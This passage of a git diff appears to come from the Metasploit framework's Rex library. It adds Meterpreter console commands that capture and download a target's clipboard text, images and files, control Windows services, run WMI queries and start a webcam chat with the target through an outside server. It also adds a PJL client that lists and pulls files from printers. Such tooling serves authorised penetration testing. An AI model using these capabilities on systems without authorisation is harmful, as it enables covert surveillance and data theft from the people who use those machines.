+    "-x" => [ true,  "Indicate if captured clipboard data should be dumped (default: true)" ],
+    "-i" => [ true,  "Indicate if captured image data should be downloaded (default: true)" ],
+    "-f" => [ true,  "Indicate if captured file data should be downloaded (default: true)" ],
+    "-d" => [ true,  "Download non-text content to the specified folder (default: current dir)" ]
+  )
+
+  #
+  # Help for the clipboard_monitor_stop command.
+  #
+  def print_clipboard_monitor_stop_usage
+    print(
+      "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
+      "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
+      @@monitor_stop_opts.usage + "\n")
+  end
+
+  #
+  # Stop the clipboard monitor.
+  #
+  def cmd_clipboard_monitor_stop(*args)
+    dump_data = true
+    download_images = true
+    download_files = true
+    download_path = nil
+
+    @@monitor_stop_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-d"
+        download_path = val
+      when "-x"
+        dump_data = val.downcase != 'false'
+      when "-i"
+        download_images = val.downcase != 'false'
+      when "-f"
+        download_files = val.downcase != 'false'
+      when "-h"
+        print_clipboard_monitor_stop_usage
+        return true
+      end
+    }
+
+    dump = client.extapi.clipboard.monitor_stop({
+      :dump           => dump_data,
+      :include_images => download_images
+    })
+
+    parse_dump(dump, download_images, download_files, download_path) if dump_data
+
+    print_good("Clipboard monitor stopped")
+  end
+
+private
 
   def download_file( dest_folder, source )
     stat = client.fs.file.stat( source )
@@ -182,17 +377,64 @@ protected
 
     if stat.directory?
       client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
-        print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
+        print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
         client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
       }
     elsif stat.file?
       client.fs.file.download( dest, source ) { |step, src, dst|
-        print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
+        print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
         client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
       }
     end
   end
 
+  def parse_dump(dump, get_images, get_files, download_path)
+    loot_dir = download_path || "."
+    if (get_images || get_files) && !::File.directory?( loot_dir )
+      ::FileUtils.mkdir_p( loot_dir )
+    end
+
+    dump.each do |ts, elements|
+      elements.each do |type, v|
+        title = "#{type} captured at #{ts}"
+        under = "=" * title.length
+        print_line(title)
+        print_line(under)
+
+        case type
+        when 'Text'
+          print_line(v)
+
+        when 'Files'
+          total = 0
+          v.each do |f|
+            print_line("Remote Path : #{f[:name]}")
+            print_line("File size   : #{f[:size]} bytes")
+            if get_files
+              download_file( loot_dir, f[:name] )
+            end
+            print_line
+            total += f[:size]
+          end
+
+        when 'Image'
+          print_line("Dimensions : #{v[:width]} x #{v[:height]}")
+          if get_images and !v[:data].nil?
+            file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
+            path = File.join(loot_dir, file)
+            path = ::File.expand_path(path)
+            ::File.open(path, 'wb') do |x|
+              x.write v[:data]
+            end
+            print_line("Downloaded : #{path}")
+          end
+        end
+        print_line(under)
+        print_line
+      end
+    end
+  end
+
 end
 
 end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
index 7896e10a3a..5b0895fb2c 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb
@@ -22,8 +22,9 @@ class Console::CommandDispatcher::Extapi::Service
   #
   def commands
     {
-      "service_enum" => "Enumerate all registered Windows services",
-      "service_query" => "Query more detail about a specific Windows service"
+      "service_enum"    => "Enumerate all registered Windows services",
+      "service_query"   => "Query more detail about a specific Windows service",
+      "service_control" => "Control a single service (start/pause/resume/stop/restart)"
     }
   end
 
@@ -33,6 +34,32 @@ class Console::CommandDispatcher::Extapi::Service
   def name
     "Extapi: Service Management"
   end
+
+  #
+  # Initialize the instance
+  #
+  def initialize(shell)
+    super
+
+    @status_map = {
+      1 => "Stopped",
+      2 => "Starting",
+      3 => "Stopping",
+      4 => "Running",
+      5 => "Continuing",
+      6 => "Pausing",
+      7 => "Paused"
+    }
+
+    @start_type_map = {
+      0 => "Boot",
+      1 => "System",
+      2 => "Automatic",
+      3 => "Manual",
+      4 => "Disabled"
+    }
+  end
+
   #
   # Options for the service_enum command.
   #
@@ -44,7 +71,7 @@ class Console::CommandDispatcher::Extapi::Service
   # Query a single service for more detail.
   #
   def cmd_service_enum(*args)
-    @@service_enum_opts.parse(args) { |opt, idx, val|
+    @@service_enum_opts.parse(args) do |opt, idx, val|
       case opt
       when "-h"
         print(
@@ -55,17 +82,7 @@ class Console::CommandDispatcher::Extapi::Service
           "able to interact with the desktop.\n\n")
           return true
       end
-    }
-
-    status_map = {
-      1 => "Stopped",
-      2 => "Starting",
-      3 => "Stopping",
-      4 => "Running",
-      5 => "Continuing",
-      6 => "Pausing",
-      7 => "Paused"
-    }
+    end
 
     services = client.extapi.service.enumerate
 
@@ -78,14 +95,14 @@ class Console::CommandDispatcher::Extapi::Service
       ]
     )
 
-    services.each { |s|
+    services.each do |s|
       table << [
         s[:pid],
-        status_map[s[:status]],
+        @status_map[s[:status]],
         s[:interactive] ? "Y" : "N",
         "#{s[:name].downcase} (#{s[:display]})"
       ]
-    }
+    end
 
     print_line
     print_line(table.to_s)
@@ -107,9 +124,9 @@ class Console::CommandDispatcher::Extapi::Service
   # Query a single service for more detail.
   #
   def cmd_service_query(*args)
-    args << "-h" if args.length == 0
+    args.unshift("-h") if args.length != 1
 
-    @@service_query_opts.parse(args) { |opt, idx, val|
+    @@service_query_opts.parse(args) do |opt, idx, val|
       case opt
       when "-h"
         print(
@@ -119,25 +136,18 @@ class Console::CommandDispatcher::Extapi::Service
           "binary path, DACL, load order group, start type and more.\n\n")
           return true
       end
-    }
+    end
 
     service_name = args.shift
 
-    start_type_map = {
-      0 => "Boot",
-      1 => "System",
-      2 => "Automatic",
-      3 => "Manual",
-      4 => "Disabled"
-    }
-
     detail = client.extapi.service.query(service_name)
 
     print_line
     print_line("Name        : #{service_name}")
     print_line("Display     : #{detail[:display]}")
     print_line("Account     : #{detail[:startname]}")
-    print_line("Start Type  : #{start_type_map[detail[:starttype]]}")
+    print_line("Status      : #{@status_map[detail[:status]]}")
+    print_line("Start Type  : #{@start_type_map[detail[:starttype]]}")
     print_line("Path        : #{detail[:path]}")
     print_line("L.O. Group  : #{detail[:logroup]}")
     print_line("Interactive : #{detail[:interactive] ? "Yes" : "No"}")
@@ -146,6 +156,39 @@ class Console::CommandDispatcher::Extapi::Service
 
   end
 
+  #
+  # Options for the service_control command.
+  #
+  @@service_control_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ]
+  )
+
+  #
+  # Query a single service for more detail.
+  #
+  def cmd_service_control(*args)
+    args.unshift("-h") if args.length != 2
+
+    @@service_control_opts.parse(args) do |opt, idx, val|
+      case opt
+      when "-h"
+        print(
+          "\nUsage: service_control [-h] <servicename> <op>\n" +
+          "   <servicename> : The name of the service to control.\n" +
+          "            <op> : The operation to perform on the service.\n" +
+          "                   Valid ops: start pause resume stop restart.\n\n")
+          return true
+      end
+    end
+
+    service_name = args[0]
+    op = args[1]
+
+    client.extapi.service.control(service_name, op)
+
+    print_good("Operation #{op} succeeded.")
+  end
+
 end
 
 end
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb
new file mode 100644
index 0000000000..d4670fb42b
--- /dev/null
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb
@@ -0,0 +1,108 @@
+# -*- coding: binary -*-
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Extended API WMI Querying interface.
+#
+###
+class Console::CommandDispatcher::Extapi::Wmi
+
+  Klass = Console::CommandDispatcher::Extapi::Wmi
+
+  include Console::CommandDispatcher
+
+  # Zero indicates "no limit"
+  DEFAULT_MAX_RESULTS = 0
+  DEFAULT_PAGE_SIZE   = 0
+
+  #
+  # List of supported commands.
+  #
+  def commands
+    {
+      "wmi_query" => "Perform a generic WMI query and return the results"
+    }
+  end
+
+  #
+  # Name for this dispatcher
+  #
+  def name
+    "Extapi: WMI Querying"
+  end
+
+  #
+  # Options for the wmi_query command.
+  #
+  @@wmi_query_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help banner" ],
+    "-r" => [ true, "Specify a different root object (defaults to 'root\\CIMV2')" ]
+  )
+
+  def wmi_query_usage
+    print(
+      "\nUsage: wmi_query <query string> [-r root]\n\n" +
+      "Query the target and display the results.\n\n" +
+      @@wmi_query_opts.usage)
+  end
+
+  #
+  # Enumerate WMI objects.
+  #
+  def cmd_wmi_query(*args)
+    args.unshift("-h") if args.length < 1
+
+    root = nil
+
+    @@wmi_query_opts.parse(args) { |opt, idx, val|
+      case opt
+      when "-r"
+        root = val
+      when "-h"
+        wmi_query_usage
+        return true
+      end
+    }
+
+    query = args.shift
+
+    objects = client.extapi.wmi.query(query, root)
+
+    if objects
+      table = Rex::Ui::Text::Table.new(
+        'Header'    => query,
+        'Indent'    => 0,
+        'SortIndex' => 0,
+        'Columns'   => objects[:fields]
+      )
+
+      objects[:values].each do |c|
+        table << c
+      end
+
+      print_line
+      print_line(table.to_s)
+
+      print_line("Total objects: #{objects[:values].length}")
+    else
+      print_status("The WMI query yielded no results.")
+    end
+
+    print_line
+
+    return true
+  end
+
+end
+
+end
+end
+end
+end
+
diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
index d9150d06b2..6ac989c899 100644
--- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
+++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
@@ -22,12 +22,14 @@ class Console::CommandDispatcher::Stdapi::Webcam
   #
   def commands
     all = {
+      "webcam_chat"   => "Start a video chat",
       "webcam_list"   => "List webcams",
       "webcam_snap"   => "Take a snapshot from the specified webcam",
       "webcam_stream" => "Play a video stream from the specified webcam",
       "record_mic"    => "Record audio from the default microphone for X seconds"
     }
     reqs = {
+      "webcam_chat"   => [ "webcam_list" ],
       "webcam_list"   => [ "webcam_list" ],
       "webcam_snap"   => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
       "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
@@ -129,6 +131,42 @@ class Console::CommandDispatcher::Stdapi::Webcam
     end
   end
 
+  def cmd_webcam_chat(*args)
+    if client.webcam.webcam_list.length == 0
+      print_error("Target does not have a webcam")
+      return
+    end
+
+    server = 'wsnodejs.jit.su:80'
+
+    webcam_chat_opts = Rex::Parser::Arguments.new(
+      "-h" => [ false, "Help banner"],
+      "-s" => [ false, "WebSocket server" ]
+    )
+
+    webcam_chat_opts.parse( args ) { | opt, idx, val |
+      case opt
+        when "-h"
+          print_line( "Usage: webcam_chat [options]\n" )
+          print_line( "Starts a video conversation with your target." )
+          print_line( "Browser Requirements:")
+          print_line( "Chrome: version 23 or newer" )
+          print_line( "Firefox: version 22 or newer" )
+          print_line( webcam_chat_opts.usage )
+          return
+        when "-s"
+          server = val.to_s
+      end
+    }
+
+
+    begin
+      print_status("Webcam chat session initialized.")
+      client.webcam.webcam_chat(server)
+    rescue RuntimeError => e 
+      print_error(e.message)
+    end
+  end
 
   def cmd_webcam_stream(*args)
     print_status("Starting...")
diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb
index ecb4eb873d..d29e677839 100644
--- a/lib/rex/proto/http/client.rb
+++ b/lib/rex/proto/http/client.rb
@@ -180,15 +180,15 @@ class Client
     timeout = (t.nil? or t == -1) ? 0 : t
 
     self.conn = Rex::Socket::Tcp.create(
-      'PeerHost'  => self.hostname,
-      'PeerPort'  => self.port.to_i,
-      'LocalHost' => self.local_host,
-      'LocalPort' => self.local_port,
-      'Context'   => self.context,
-      'SSL'       => self.ssl,
-      'SSLVersion'=> self.ssl_version,
-      'Proxies'   => self.proxies,
-      'Timeout'   => timeout
+      'PeerHost'   => self.hostname,
+      'PeerPort'   => self.port.to_i,
+      'LocalHost'  => self.local_host,
+      'LocalPort'  => self.local_port,
+      'Context'    => self.context,
+      'SSL'        => self.ssl,
+      'SSLVersion' => self.ssl_version,
+      'Proxies'    => self.proxies,
+      'Timeout'    => timeout
     )
   end
 
@@ -198,7 +198,7 @@ class Client
   def close
     if (self.conn)
       self.conn.shutdown
-      self.conn.close
+      self.conn.close unless self.conn.closed?
     end
 
     self.conn = nil
@@ -703,7 +703,6 @@ class Client
   # Auth
   attr_accessor :username, :password
 
-
   # When parsing the request, thunk off the first response from the server, since junk
   attr_accessor :junk_pipeline
 
diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb
index 8aeb61087a..71f1c1a8ae 100644
--- a/lib/rex/proto/http/response.rb
+++ b/lib/rex/proto/http/response.rb
@@ -1,4 +1,5 @@
 # -*- coding: binary -*-
+require 'uri'
 require 'rex/proto/http'
 
 module Rex
@@ -107,6 +108,25 @@ class Response < Packet
     end
   end
 
+  # Answers if the response is a redirection one.
+  #
+  # @return [Boolean] true if the response is a redirection, false otherwise.
+  def redirect?
+    [301, 302, 303, 307, 308].include?(code)
+  end
+
+  # Provides the uri of the redirection location.
+  #
+  # @return [URI] the uri of the redirection location.
+  # @return [nil] if the response hasn't a Location header or it isn't a valid uri.
+  def redirection
+    begin
+      URI(headers['Location'])
+    rescue ::URI::InvalidURIError
+      nil
+    end
+  end
+
   #
   # Returns the response based command string.
   #
diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb
index 3c25440881..ca0ed82ec8 100644
--- a/lib/rex/proto/http/server.rb
+++ b/lib/rex/proto/http/server.rb
@@ -100,17 +100,17 @@ class Server
   # Initializes an HTTP server as listening on the provided port and
   # hostname.
   #
-  def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil)
-    self.listen_host = listen_host
-    self.listen_port = port
-    self.ssl         = ssl
-    self.context     = context
-    self.comm        = comm
-    self.ssl_cert    = ssl_cert
-
-    self.listener    = nil
-    self.resources   = {}
-    self.server_name = DefaultServer
+  def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, ssl_compression = false)
+    self.listen_host     = listen_host
+    self.listen_port     = port
+    self.ssl             = ssl
+    self.context         = context
+    self.comm            = comm
+    self.ssl_cert        = ssl_cert
+    self.ssl_compression = ssl_compression
+    self.listener        = nil
+    self.resources       = {}
+    self.server_name     = DefaultServer
   end
 
   # More readable inspect that only shows the url and resources
@@ -146,6 +146,7 @@ class Server
       'Context'   => self.context,
       'SSL'		=> self.ssl,
       'SSLCert'	=> self.ssl_cert,
+      'SSLCompression' => self.ssl_compression,
       'Comm'      => self.comm
     )
 
@@ -268,7 +269,8 @@ class Server
     cli.send_response(resp)
   end
 
-  attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert
+  attr_accessor :listen_port, :listen_host, :server_name, :context, :comm
+  attr_accessor :ssl, :ssl_cert, :ssl_compression
   attr_accessor :listener, :resources
 
 protected
diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb
new file mode 100644
index 0000000000..5b771e8417
--- /dev/null
+++ b/lib/rex/proto/pjl.rb
@@ -0,0 +1,30 @@
+# https://en.wikipedia.org/wiki/Printer_Job_Language
+# See external links for PJL spec
+
+module Rex::Proto::PJL
+
+  require "rex/proto/pjl/client"
+
+  DEFAULT_PORT = 9100
+  DEFAULT_TIMEOUT = 5
+
+  COUNT_MAX = 2_147_483_647
+  SIZE_MAX = 2_147_483_647
+
+  UEL = "\e%-12345X" # Universal Exit Language
+  PREFIX = "@PJL"
+
+  module Info
+    ID = "#{PREFIX} INFO ID"
+    STATUS = "#{PREFIX} INFO STATUS"
+    VARIABLES = "#{PREFIX} INFO VARIABLES"
+    FILESYS = "#{PREFIX} INFO FILESYS"
+  end
+
+  RDYMSG = "#{PREFIX} RDYMSG"
+
+  FSINIT = "#{PREFIX} FSINIT"
+  FSDIRLIST = "#{PREFIX} FSDIRLIST"
+  FSUPLOAD = "#{PREFIX} FSUPLOAD"
+
+end
diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb
new file mode 100644
index 0000000000..0a85245af2
--- /dev/null
+++ b/lib/rex/proto/pjl/client.rb
@@ -0,0 +1,162 @@
+# https://en.wikipedia.org/wiki/Printer_Job_Language
+# See external links for PJL spec
+
+module Rex::Proto::PJL
+class Client
+
+  attr_reader :sock
+
+  def initialize(sock)
+    @sock = sock
+  end
+
+  # Begin a PJL job
+  #
+  # @return [void]
+  def begin_job
+    @sock.put("#{UEL}#{PREFIX}\n")
+  end
+
+  # End a PJL job
+  #
+  # @return [void]
+  def end_job
+    @sock.put(UEL)
+  end
+
+  # Send an INFO request and read the response
+  #
+  # @param category [String] INFO category
+  # @return [String] INFO response
+  def info(category)
+    categories = {
+      :id => Info::ID,
+      :status => Info::STATUS,
+      :variables => Info::VARIABLES,
+      :filesys => Info::FILESYS
+    }
+
+    unless categories.has_key?(category)
+      raise ArgumentError, "Unknown INFO category"
+    end
+
+    @sock.put("#{categories[category]}\n")
+    @sock.get(DEFAULT_TIMEOUT)
+  end
+
+  # Get version information
+  #
+  # @return [String] Version information
+  def info_id
+    id = nil
+
+    if info(:id) =~ /"(.*?)"/m
+      id = $1
+    end
+
+    id
+  end
+
+  # Get environment variables
+  #
+  # @return [String] Environment variables
+  def info_variables
+    env_vars = nil
+
+    if info(:variables) =~ /#{Info::VARIABLES}\r?\n(.*?)\f/m
+      env_vars = $1
+    end
+
+    env_vars
+  end
+
+  # List volumes
+  #
+  # @return [String] Volume listing
+  def info_filesys
+    filesys = nil
+
+    if info(:filesys) =~ /\[\d+ TABLE\]\r?\n(.*?)\f/m
+      filesys = $1
+    end
+
+    filesys
+  end
+
+  # Get the ready message
+  #
+  # @return [String] Ready message
+  def get_rdymsg
+    rdymsg = nil
+
+    if info(:status) =~ /DISPLAY="(.*?)"/m
+      rdymsg = $1
+    end
+
+    rdymsg
+  end
+
+  # Set the ready message
+  #
+  # @param message [String] Ready message
+  # @return [void]
+  def set_rdymsg(message)
+    @sock.put(%Q{#{RDYMSG} DISPLAY = "#{message}"\n})
+  end
+
+  # Initialize a volume
+  #
+  # @param volume [String] Volume
+  # @return [void]
+  def fsinit(volume)
+    if volume !~ /^[0-2]:$/
+      raise ArgumentError, "Volume must be 0:, 1:, or 2:"
+    end
+
+    @sock.put(%Q{#{FSINIT} VOLUME = "#{volume}"\n})
+  end
+
+  # List a directory
+  #
+  # @param pathname [String] Pathname
+  # @param count [Fixnum] Number of entries to list
+  # @return [String] Directory listing
+  def fsdirlist(pathname, count = COUNT_MAX)
+    if pathname !~ /^[0-2]:/
+      raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
+    end
+
+    listing = nil
+
+    @sock.put(%Q{#{FSDIRLIST} NAME = "#{pathname}" ENTRY=1 COUNT=#{count}\n})
+
+    if @sock.get(DEFAULT_TIMEOUT) =~ /ENTRY=1\r?\n(.*?)\f/m
+      listing = $1
+    end
+
+    listing
+  end
+
+  # Download a file
+  #
+  # @param pathname [String] Pathname
+  # @param size [Fixnum] Size of file
+  # @return [String] File as a string
+  def fsupload(pathname, size = SIZE_MAX)
+    if pathname !~ /^[0-2]:/
+      raise ArgumentError, "Pathname must begin with 0:, 1:, or 2:"
+    end
+
+    file = nil
+
+    @sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n})
+
+    if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m
+      file = $1
+    end
+
+    file
+  end
+
+end
+end
diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb
index 7807b57b6d..ac6dd63168 100644
--- a/lib/rex/socket/parameters.rb
+++ b/lib/rex/socket/parameters.rb
@@ -61,6 +61,7 @@ class Rex::Socket::Parameters
   # @option hash [String] 'SSLCert' A file containing an SSL certificate (for
   #   server sockets)
   # @option hash [String] 'SSLCipher' see {#ssl_cipher}
+  # @option hash [Bool] 'SSLCompression' enable SSL-level compression where available
   # @option hash [String] 'SSLVerifyMode' SSL certificate verification
   #   mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER'
   # @option hash [String] 'Proxies' List of proxies to use.
@@ -126,6 +127,10 @@ class Rex::Socket::Parameters
       self.ssl_verify_mode = hash['SSLVerifyMode']
     end
 
+    if hash['SSLCompression']
+      self.ssl_compression = hash['SSLCompression']
+    end
+
     if (hash['SSLCipher'])
       self.ssl_cipher = hash['SSLCipher']
     end
@@ -334,6 +339,10 @@ class Rex::Socket::Parameters
   # @return [String]
   attr_accessor :ssl_cert
 
+  # Enables SSL/TLS-level compression
+  # @return [Bool]
+  attr_accessor :ssl_compression
+
   #
   # The SSL context verification mechanism
   #
diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb
index 55d8b04df1..cc46559b11 100644
--- a/lib/rex/socket/ssl_tcp.rb
+++ b/lib/rex/socket/ssl_tcp.rb
@@ -110,7 +110,6 @@ begin
       else
         begin
           self.sslsock.connect_nonblock
-
         # Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
         rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
             IO::select(nil, nil, nil, 0.10)
diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb
index 3d8203b3da..317b98313e 100644
--- a/lib/rex/socket/ssl_tcp_server.rb
+++ b/lib/rex/socket/ssl_tcp_server.rb
@@ -48,7 +48,7 @@ module Rex::Socket::SslTcpServer
 
   def initsock(params = nil)
     raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
-    self.sslctx  = makessl(params.ssl_cert)
+    self.sslctx  = makessl(params)
     super
   end
 
@@ -104,9 +104,10 @@ module Rex::Socket::SslTcpServer
   # Create a new ssl context.  If +ssl_cert+ is not given, generates a new
   # key and a leaf certificate with random values.
   #
+  # @param [Rex::Socket::Parameters] params
   # @return [::OpenSSL::SSL::SSLContext]
-  def makessl(ssl_cert=nil)
-
+  def makessl(params)
+    ssl_cert = params.ssl_cert
     if ssl_cert
       cert = OpenSSL::X509::Certificate.new(ssl_cert)
       key = OpenSSL::PKey::RSA.new(ssl_cert)
@@ -151,6 +152,18 @@ module Rex::Socket::SslTcpServer
     ctx = OpenSSL::SSL::SSLContext.new()
     ctx.key = key
     ctx.cert = cert
+    ctx.options = 0
+
+
+    # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol
+    if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)
+      # enable/disable the SSL/TLS-level compression
+      if params.ssl_compression
+        ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION
+      else
+        ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION
+      end
+    end
 
     ctx.session_id_context = Rex::Text.rand_text(16)
 
diff --git a/lib/rex/text.rb b/lib/rex/text.rb
index 48936d5b32..f338de617b 100644
--- a/lib/rex/text.rb
+++ b/lib/rex/text.rb
@@ -32,6 +32,7 @@ module Text
   #
   ##
 
+  TLDs = ['com', 'net', 'org', 'gov', 'biz', 'edu']
   States = ["AK", "AL", "AR", "AZ", "CA", "CO", "CT", "DE", "FL", "GA", "HI",
     "IA", "ID", "IL", "IN", "KS", "KY", "LA", "MA", "MD", "ME", "MI", "MN",
     "MO", "MS", "MT", "NC", "ND", "NE", "NH", "NJ", "NM", "NV", "NY", "OH",
@@ -102,6 +103,62 @@ module Text
     nil, nil, nil, nil, nil, nil, nil, nil, nil
   ]
 
+  #
+  # Most 100 common surnames, male/female names in the U.S. (http://names.mongabay.com/)
+  #
+
+  Surnames = [
+    "adams", "alexander", "allen", "anderson", "bailey", "baker", "barnes",
+    "bell", "bennett", "brooks", "brown", "bryant", "butler", "campbell",
+    "carter", "clark", "coleman", "collins", "cook", "cooper", "cox",
+    "davis", "diaz", "edwards", "evans", "flores", "foster", "garcia",
+    "gonzales", "gonzalez", "gray", "green", "griffin", "hall", "harris",
+    "hayes", "henderson", "hernandez", "hill", "howard", "hughes", "jackson",
+    "james", "jenkins", "johnson", "jones", "kelly", "king", "lee", "lewis",
+    "long", "lopez", "martin", "martinez", "miller", "mitchell", "moore",
+    "morgan", "morris", "murphy", "nelson", "parker", "patterson", "perez",
+    "perry", "peterson", "phillips", "powell", "price", "ramirez", "reed",
+    "richardson", "rivera", "roberts", "robinson", "rodriguez", "rogers",
+    "ross", "russell", "sanchez", "sanders", "scott", "simmons", "smith",
+    "stewart", "taylor", "thomas", "thompson", "torres", "turner", "walker",
+    "ward", "washington", "watson", "white", "williams", "wilson", "wood",
+    "wright", "young"
+  ]
+
+  Names_Male = [
+    "aaron", "adam", "alan", "albert", "andrew", "anthony", "antonio",
+    "arthur", "benjamin", "billy", "bobby", "brandon", "brian", "bruce",
+    "carl", "carlos", "charles", "chris", "christopher", "clarence", "craig",
+    "daniel", "david", "dennis", "donald", "douglas", "earl", "edward",
+    "eric", "ernest", "eugene", "frank", "fred", "gary", "george", "gerald",
+    "gregory", "harold", "harry", "henry", "howard", "jack", "james", "jason",
+    "jeffrey", "jeremy", "jerry", "jesse", "jimmy", "joe", "john", "johnny",
+    "jonathan", "jose", "joseph", "joshua", "juan", "justin", "keith",
+    "kenneth", "kevin", "larry", "lawrence", "louis", "mark", "martin",
+    "matthew", "michael", "nicholas", "patrick", "paul", "peter", "philip",
+    "phillip", "ralph", "randy", "raymond", "richard", "robert", "roger",
+    "ronald", "roy", "russell", "ryan", "samuel", "scott", "sean", "shawn",
+    "stephen", "steve", "steven", "terry", "thomas", "timothy", "todd",
+    "victor", "walter", "wayne", "william", "willie"
+  ]
+
+  Names_Female = [
+    "alice", "amanda", "amy", "andrea", "angela", "ann", "anna", "anne",
+    "annie", "ashley", "barbara", "betty", "beverly", "bonnie", "brenda",
+    "carol", "carolyn", "catherine", "cheryl", "christina", "christine",
+    "cynthia", "deborah", "debra", "denise", "diana", "diane", "donna",
+    "doris", "dorothy", "elizabeth", "emily", "evelyn", "frances", "gloria",
+    "heather", "helen", "irene", "jacqueline", "jane", "janet", "janice",
+    "jean", "jennifer", "jessica", "joan", "joyce", "judith", "judy", "julia",
+    "julie", "karen", "katherine", "kathleen", "kathryn", "kathy", "kelly",
+    "kimberly", "laura", "lillian", "linda", "lisa", "lois", "lori", "louise",
+    "margaret", "maria", "marie", "marilyn", "martha", "mary", "melissa",
+    "michelle", "mildred", "nancy", "nicole", "norma", "pamela", "patricia",
+    "paula", "phyllis", "rachel", "rebecca", "robin", "rose", "ruby", "ruth",
+    "sandra", "sara", "sarah", "sharon", "shirley", "stephanie", "susan",
+    "tammy", "teresa", "theresa", "tina", "virginia", "wanda"
+  ]
+
   ##
   #
   # Serialization
@@ -429,7 +486,7 @@ module Text
   #
   # Returns a unicode escaped string for Javascript
   #
-  def self.to_unescape(data, endian=ENDIAN_LITTLE)
+  def self.to_unescape(data, endian=ENDIAN_LITTLE, prefix='%%u')
     data << "\x41" if (data.length % 2 != 0)
     dptr = 0
     buff = ''
@@ -440,9 +497,9 @@ module Text
       dptr += 1
 
       if (endian == ENDIAN_LITTLE)
-        buff << sprintf('%%u%.2x%.2x', c2, c1)
+        buff << sprintf("#{prefix}%.2x%.2x", c2, c1)
       else
-        buff << sprintf('%%u%.2x%.2x', c1, c2)
+        buff << sprintf("#{prefix}%.2x%.2x", c1, c2)
       end
     end
     return buff
@@ -732,8 +789,8 @@ module Text
     return str if mode == 'none' # fast track no encoding
 
     all = /[^\/\\]+/
-    normal = /[^a-zA-Z0-9\/\\\.\-]+/
-    normal_na = /[a-zA-Z0-9\/\\\.\-]/
+    # http://tools.ietf.org/html/rfc3986#section-2.3
+    normal = /[^a-zA-Z0-9\/\\\.\-_~]+/
 
     case mode
     when 'hex-normal'
@@ -1329,12 +1386,12 @@ module Text
   # Randomize the whitespace in a string
   #
   def self.randomize_space(str)
+    set = ["\x09", "\x20", "\x0d", "\x0a"]
     str.gsub(/\s+/) { |s|
       len = rand(50)+2
-      set = "\x09\x20\x0d\x0a"
       buf = ''
       while (buf.length < len)
-        buf << set[rand(set.length),1]
+        buf << set.sample
       end
 
       buf
@@ -1525,14 +1582,47 @@ module Text
     (rand(5) + 1).times {
       host.push(Rex::Text.rand_text_alphanumeric(rand(10) + 1))
     }
-    d = ['com', 'net', 'org', 'gov']
-    host.push(d[rand(d.size)])
+    host.push(TLDs.sample)
     host.join('.').downcase
   end
 
   # Generate a state
   def self.rand_state()
-    States[rand(States.size)]
+    States.sample
+  end
+
+  # Generate a surname
+  def self.rand_surname
+    Surnames.sample
+  end
+
+  # Generate a name
+  def self.rand_name
+    if rand(10) % 2 == 0
+      Names_Male.sample
+    else
+      Names_Female.sample
+    end
+  end
+
+  # Generate a male name
+  def self.rand_name_male
+    Names_Male.sample
+  end
+
+  # Generate a female name
+  def self.rand_name_female
+    Names_Female.sample
+  end
+
+  # Generate a random mail address
+  def self.rand_mail_address
+    mail_address = ''
+    mail_address << Rex::Text.rand_name
+    mail_address << '.'
+    mail_address << Rex::Text.rand_surname
+    mail_address << '@'
+    mail_address << Rex::Text.rand_hostname
   end
 
 
